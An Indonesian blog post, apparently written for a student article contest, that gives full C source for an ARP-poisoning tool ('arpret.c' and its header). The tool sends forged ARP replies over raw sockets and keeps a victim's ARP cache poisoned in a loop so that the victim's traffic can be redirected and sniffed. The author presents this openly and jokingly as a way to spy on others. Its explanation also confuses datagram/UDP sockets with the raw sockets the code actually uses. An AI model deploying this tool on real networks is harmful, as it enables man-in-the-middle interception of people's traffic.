Socket Programming untuk ARP Poisoning

Standar

Kelanjutan dari artikel sebelumnya tentang Memahami apa itu ARP Poisoning atau ARP Spoofing, sekarang gue mencoba untuk merakit untuk keperluan racun-meracuni sesama makhluk. Sebenernya tulisan ini gue buat untuk event Program Kretifitas Mahasiswa untuk kategori Artikel Ilmiah, daripada blog ini basi jadi bangke gak pernah di update mendingan gue isi ginian aje.. :D. Lanjut Socket Programming. Socket Programming adalah protokol yang mempunyai metode untuk membuat koneksi antar antara perangkat dalam jaringan. Terdapat dua tipe socket yang paling sering digunakan yaitu “Stream Socket” dan “Datagram Socket” yang lebih dikenal dengan “SOCK_STREAM” and “SOCK_DGRAM”. Datagram Socket disebut dengan “Connectionless socket” sedangkan

Stream Socket lebih reliable dibandingkan Datagram Socket karena terciptanya komunikasi dua arah yang memungkinkan kecilnya data error pada saat transmisi data. Hati-hati ye,, Socket !, Bukan yang lain,,!?!.. Berikut ini adalah script arpret.c yang ane rakit jungkar balik untuk ARP Poisoning dengan menggunakan pustaka socket :

#include "arpreply.h"

void usage() {

   printf("[+] arpret -i<interface> -s<source_ip> -S<source_mac) -d<dest_ip> -D<dest_mac> -k<keep alive time> -f<fix mac>\n\n");
   printf("[+] -f <MAC> untuk memperbaiki MAC address\n");
   printf("[+] -k2 untuk membuat host tetap teracuni selama proses (arp/2 sec)\n");
   exit(0);
}

void signalHandler(int signal) {
   int bytes_sent = 0; char date[64];

   if(fix_arp == 0 || fixing_mac == NULL) { printf("[+] PERHATIAN .. MAC address host belum kembali seperti semula!!\n"); exit(0); }

   printf("[+] FIXING HOST(S) WITH: %s\n", fixing_mac);

   printf("[*] Sending arp reply (FIX)...\n");
   bytes_sent = sendReply(iface, master_src_ip, fixing_mac, master_dest_ip, master_dest_mac);

   if (bytes_sent <= 0)
	{
		printf("[-] Unable to send reply!\n");
		goto cleanup;
	}
   printf("[*] Sent %d bytes (FIX).\n", bytes_sent);

   cleanup:
   exit(0);
}

int main(int argc, char **argv) {
   int bytes_sent = 0; int err = 0; int sock = 0; int ksec = 1000;
   int is_keep_alive = 0; int ok_count = 0;
   time_t prev_time; time_t now_time; time_t raw_t;
   struct tm *timeinfo;

   char date[64];
   char *src_ip = NULL; char *dest_ip = NULL;
   char *src_mac = NULL; char *dest_mac = NULL;

   if(getuid()) { printf("[-] Harus menggunakan akun Root.\n"); return -1; }

   time(&prev_time); time(&now_time);
   printf("[+] Penggunaan\n");

   opterr = 0; int option = 1;

   while((option = getopt(argc, argv, "i:vs:S:d:D:k:f:?")) != -1 ) {
      switch(option) {
      case 'i':

         iface = optarg;
         printf("[+] Using: %s ", iface);

         if(if_nametoindex(iface) == 0) { printf(" => NOT GOOD!\n"); goto cleanup; }
         printf("OK.\n"); ok_count++;

      break;
      case 's':
         master_src_ip = optarg; ok_count++;
         printf("[+] Source IP: %s\n", master_src_ip);
      break;
      case 'S':
         master_src_mac = optarg; ok_count++;
         printf("[+] Source MAC: %s\n", master_src_mac);
      break;
      case 'd':
         master_dest_ip = optarg; ok_count++;
         printf("[+] Dest IP: %s\n", master_dest_ip);
      break;
      case 'D':
         master_dest_mac = optarg; ok_count++;
         printf("[+] Dest MAC: %s\n", master_dest_mac);
      break;
      case 'k':
         ksec = atoi(optarg); is_keep_alive = 1;
         printf("[+] Keep-alive set at %d (seconds).\n", ksec);
      break;
      case 'v':
         is_verbose = 1;
         printf("[+] Vebosity is ON\n");
      break;
      case 'f':
         fixing_mac = optarg; fix_arp = 1;
         printf("[+] FIX (%s) is set to  %d (0=OFF, 1=ON(Default))\n", fixing_mac, fix_arp);
      break;
      }

   }
   if(ok_count < 5) { usage(); }

   if(is_verbose == 1) { printf("[+] Configuration ok\n"); }

   if(fix_arp != 0 && signal(SIGINT, signalHandler) == SIG_IGN) {
      printf("[+] Signal handlers are attached..\n");
      signal (SIGINT, SIG_IGN);
   }

   if(is_verbose == 1) { printf("[+] Beginning attack now.\n"); }

   if(is_keep_alive == 1) {
      while(1) {
         time(&raw_t);
         timeinfo = localtime(&raw_t);
         memset(date, 0x0, 64);
         strftime(date, 63, "%c", timeinfo);

         printf("[*] (%s) Sending arp reply...\n", date);
         bytes_sent = sendReply(iface, master_src_ip, master_src_mac, master_dest_ip, master_dest_mac);
         if (bytes_sent <= 0) { printf("[-] Unable to send reply!\n"); goto cleanup; }
         printf("[*] (%s) Sent %d bytes.\n", date, bytes_sent);
         sleep(ksec);
      }

   } else {
      printf("[*] (%s) Sending arp reply....\n", date);
      bytes_sent = sendReply(iface, master_src_ip, master_src_mac, master_dest_ip, master_dest_mac);
      if (bytes_sent <= 0) { printf("[-] Unable to send reply!\n"); goto cleanup; }
      printf("[*] (%s) Sent %d bytes.\n", date, bytes_sent);
   }

   cleanup:
      close(sock);
      return 0;
}

int sendReply(char *iface, char *src_ip, char *src_mac, char *dest_ip, char *dest_mac) {
   int bytes_sent = 0; int err = 0; int sock = 0; int ksec = 1000;
   int is_verbose = 0; int iface_num = 0;
   time_t prev_time; time_t now_time; time_t raw_t;
   struct tm *timeinfo;
   struct sockaddr_ll sa;
   struct ethernet_header eth_hdr;
   struct arp_header arp_hdr;

   char date[64];
   iface_num = if_nametoindex(iface);
   if(iface_num == 0) { printf("[-] IFACE %s IS REPORTED DOWN -> trying anyway.!\n", iface); }

   memset((void *)&eth_hdr, 0x0, sizeof(struct ethernet_header));
   memset(&arp_hdr, 0x0, sizeof(struct arp_header));

   sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
   if (sock < 0) { printf("[-] Unable to open a socket!?\n"); return -1; }

   sa.sll_family = AF_PACKET;
   sa.sll_protocol = htons(ETH_P_IP);

   sa.sll_ifindex = iface_num;
   sa.sll_hatype = ARPHRD_ETHER;
   sa.sll_pkttype = 0x01;
   sa.sll_halen = ETH_ALEN;

   eth_hdr.proto = htons(0x0806);
   arp_hdr.hdw_type = htons(0x0001);
   arp_hdr.proto = htons(0x0800);
   arp_hdr.hdw_size = 0x06;
   arp_hdr.proto_size = 0x04;
   arp_hdr.opcode = htons(0x02);

   memcpy(&eth_hdr.d_mac, ether_aton(dest_mac), 6);
    memcpy(&eth_hdr.s_mac, ether_aton(src_mac), 6);

   memcpy(&arp_hdr.mac_saddr, (unsigned char *)ether_aton(src_mac), 6);
   *(unsigned long *) arp_hdr.saddr = inet_addr(src_ip);

   memcpy(&arp_hdr.mac_daddr, (unsigned char *)ether_aton(dest_mac), 6);
   *(unsigned long *) arp_hdr.daddr = inet_addr(dest_ip);

   if(is_verbose ==1 ) { printf("[+] Buliding payload...\n"); }
   memcpy(packet, &eth_hdr, sizeof(struct ethernet_header));
   memcpy(packet+sizeof(struct ethernet_header), &arp_hdr, sizeof(struct arp_header));

   int len = sizeof(struct ethernet_header) + sizeof(struct arp_header);

   if(is_verbose == 1) { printf("[+] Sending now.\n"); }
   bytes_sent = sendto(sock, packet, len, 0, (struct sockaddr*) &sa, sizeof(sa));
   if (bytes_sent <= 0) { printf("[-] Unable to send reply!\n"); return -1; }
   if(is_verbose == 1) { printf("[+] SENT\n"); }

   cleanup:
      return bytes_sent;
}

Skrip arpret.c dibuat dengan menggunakan tipe Datagram Socket. Datagram socket juga menggunakan IP untuk routing paket, tapi tidak menggunakan TCP tapi menggunakan “User Datagram Protocol atau “UDP”.

ini header nya


#ifndef ARPREPLY_H
#define ARPREPLY_H

#include <stdio.h>
#include <sys/socket.h>

#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <net/ethernet.h>
#include <linux/if_packet.h>

#include <time.h>
#include <unistd.h>
#include <signal.h>


struct ethernet_header {
 unsigned char d_mac[6];
 unsigned char s_mac[6];
 unsigned short proto;
};


struct arp_header {
 unsigned short hdw_type;
 unsigned short proto;
 unsigned char hdw_size;
 unsigned char proto_size;
 unsigned short opcode;
 unsigned char mac_saddr[6];
 unsigned char saddr[4];
 unsigned char mac_daddr[6];
 unsigned char daddr[4];
};

unsigned char packet[sizeof(struct ethernet_header) + sizeof(struct arp_header)];
int fix_arp = 1; int is_verbose = 0;
char *master_src_ip = NULL; char *master_dest_ip = NULL;
char *master_src_mac = NULL; char *master_dest_mac = NULL;
char *fixing_mac = NULL; char *iface = NULL;

int sendReply(char *interface, char *src_ip, char *src_mac, char *dest_ip, char *dest_mac);

#endif

 

 

Pada Datagram Socket tidak bisa menjaga koneksi secara terus-menerus, Data Socket hanya membangun paket, tentukan IP header berikut dengan informasi tujuan, dan kirim paket tanpa membuat koneksi seperti pada TCP. Biasanya Datagram Socket biasa digunakan pada aplikasi tftp (versi pertama dari FTP), dhcpd atau dhcp client, multiplayer games, streaming audio, video conferencing, dan lain-lain. Skrip arpret.c merupakan implementasi dari socket programming pada sistem operasi UNIX, BSD, dan keluarga Linux.

Skrip arpret.c adalah alat bantu untuk membuat sebuah arp reply palsu (fake arp reply) kepada komputer target, dengan tujuan mengelabuhi arp cache pada komputer korban agar setiap paket yang masuk dan keluar ke komputer target bisa peneliti alihkan terlebih dahulu ke komputer kita. Pada saat ini skrip arpret.c hanya bisa di jalankan di sistem operasi unix, BSD, dan keluarga Linux.

Skrip ini tidak menggunakan dua tipe “SOCK_STREAM” and “SOCK_DGRAM” tapi menggunakan tipe “SOCK_RAW”. SOCK_RAW dipilih karena peneliti bisa menentukan sendiri isi header paket seperti Ethernet, IP, TCP dan lain-lain. Lalu meng-injeksi paket dengan header yang sudah dimodifikasi lalu mengirimkannya ke tujuan selain itu SOCK_RAW mendukung packet filtering. PF_PACKET adalah software interface untuk mengirim atau menerima paket data pada lapisan 2 dari OSI, dan setiap paket yang sudah dimodifikasi headernya langsung dikirimkan. Skrip ini bekerja pada PF_PACKET interface untuk menciptakan raw sockets dan menggunakan protokol ETH_P_ALL untuk IP network. Implementasinya berada pada skrip arpret.c baris

sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

biar lebih jelas ane kasih gambarannya pake flowchart :

Program arpret.c sukses mengirim arp reply palsu hanya dalam satu kali pengiriman, tapi terdapat masalah dalam skrip tersebut yaitu pengiriman arp reply secara simultan. Opsi -k2 adalah mengharuskan program tersebut terus-menerus mengirim arp reply. Karena setiap sistem operasi akan memperbaharui arp cache setiap jangka waktu tertentu sesuai sistem operasi. Nah saat cache arp pada komputer korban,, ente sekalian bisa menangkap aliran data yang lewat dikomputer juragan, diintip-intiplah pake ape gitu,, semacam sniffer,, masa kaga tau dah.. wkakak.. :D

References :
Jon Erickson. Hacking : The Art of Exploitation. No Starch Press; 2003.
Robert Wagner, Jeff Bryner. Address Resolution Protocol. SANS Institute; 2006.
Brian “Beej Jorgensen” Hall. Beej’s Guide to Network programming – Using Internet Sockets. 2009.
Mixter . A brief programming tutorial in C for raw sockets. http://mixter.void.ru/rawip.html

About these ads

15 thoughts on “Socket Programming untuk ARP Poisoning

  1. I actually Think article, “Socket Programming untuk ARP Poisoning
    | log’s of my Life” http://ceoblogwatch.com ended up being good! I actuallycouldn’t see eye to eye together with you more!
    At last appears like I actuallylocated a blog website worth looking through.
    Thank you, Mickey

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Logout / Ubah )

Twitter picture

You are commenting using your Twitter account. Logout / Ubah )

Facebook photo

You are commenting using your Facebook account. Logout / Ubah )

Google+ photo

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s